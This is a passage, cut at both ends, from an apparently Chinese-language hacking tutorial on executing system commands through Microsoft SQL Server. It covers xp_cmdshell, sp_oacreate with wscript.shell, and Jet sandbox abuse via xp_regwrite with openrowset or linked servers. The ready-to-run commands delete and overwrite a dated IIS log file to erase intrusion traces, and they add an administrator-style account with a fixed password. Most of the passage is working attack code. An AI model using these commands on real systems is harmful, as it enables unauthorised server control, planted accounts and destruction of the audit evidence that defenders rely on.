ut out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''AtEndOfStream'',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三种执行CMD命令的方法:
先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell ''del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt''
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''wscript.shell'',@shell output EXEC sp_oamethod @shell,''run'',null,''cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'',''0'',''true'' EXEC sp_oacreate ''scripting.filesystemobject'',@fso output EXEC sp_oamethod @fso,''opentextfile'',@file out,''c:\temp.txt'' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''Readline'',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''AtEndOfStream'',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改
注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
? exec master..xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\Jet\4.0\Engines'',''SandBoxMode'',''REG_DWORD'',1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切
? 这里仅给出sysadmin权限下使用的命令:
select * from openrowset(''microsoft.jet.oledb.4.0'','';database=c:\winnt\system32\ias\ias.mdb'',''select shell("cmd.exe /c net user admin admin1234 /add")'')
? 建立
链接数据库''L0op8ack''参考命令:
EXEC sp_addlinkedserver ''L0op8ack'',''OLE DB Provider for Jet'',''Microsoft.Jet.OLEDB.4.0'',''c:\windows\system32\ias\ias.mdb''
? 如何使用链接数据库:
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的
实用性不强,仅作为一个
学习总结吧
大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:
? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver ''L0op8ack'',''JetOLEDB'',''Microsoft.Jet.OLEDB.4.0'',''c:\winnt\system32\ias\ias.mdb'';--
? exec sp_addlinkedsrvlogin ''L0op8ack'',''false'';--或
exec sp_addlinkedsrvlogin ''L0op8ack'', ''false'', NULL, ''test1'', ''ptlove'';--
? select * FROM OPENQUERY(L0op8ack, ''select shell("cmd.exe /c net user")'');--
? exec sp_droplinkedsrvlogin ''L0op8ack'',''false'';--
? exec sp_dropserver ''L0op8ack'';--
再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell ''copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt''
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @fi